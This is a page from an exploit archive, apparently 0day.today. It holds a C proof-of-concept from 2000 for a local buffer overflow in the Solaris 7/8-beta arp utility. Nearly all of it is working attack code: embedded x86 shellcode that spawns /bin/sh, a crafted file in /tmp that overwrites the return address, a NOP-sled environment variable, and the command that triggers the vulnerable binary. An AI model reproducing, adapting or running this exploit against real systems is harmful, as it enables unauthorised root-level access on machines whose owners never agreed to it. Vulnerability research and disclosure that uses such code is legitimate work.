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Solaris 7 / 8-beta arp Local Overflow Exploit
[=============================================
Solaris 7 / 8-beta arp Local Overflow Exploit
=============================================
/*
arp overflow proof of concept by ahmed@securityfocus.com
shellcode originally written by Cheez Whiz.
tested on x86 solaris 7,8beta
default should work. if not, arg1 = offset. +- by 100's
Copyright Security-Focus.com, 11/2000
*/
long get_esp() { __asm__("movl %esp,%eax"); }
int main(int ac, char **av)
{
char shell[] =
"\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
"\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
"\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
"\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
"\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
"\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
"\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
"\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
"\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff";
unsigned long magic = 0x8047b78;
unsigned long r = get_esp() + 600;
unsigned char buf[300];
int f;
if (ac == 2)
r += atoi(av[1]);
memset(buf,0x61,sizeof(buf));
memcpy(buf+52,&magic,4);
memcpy(buf+76,&r,4);
f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);
write(f,"1 2 3 4 ",8);
write(f,buf,sizeof(buf));
close(f);
memset(buf,0x90,sizeof(buf));
memcpy(buf,"LOL=",4);
memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
putenv(buf);
system("/usr/sbin/arp -f /tmp/ypx");
unlink("/tmp/ypx");
}
# 0day.today [2024-11-16] #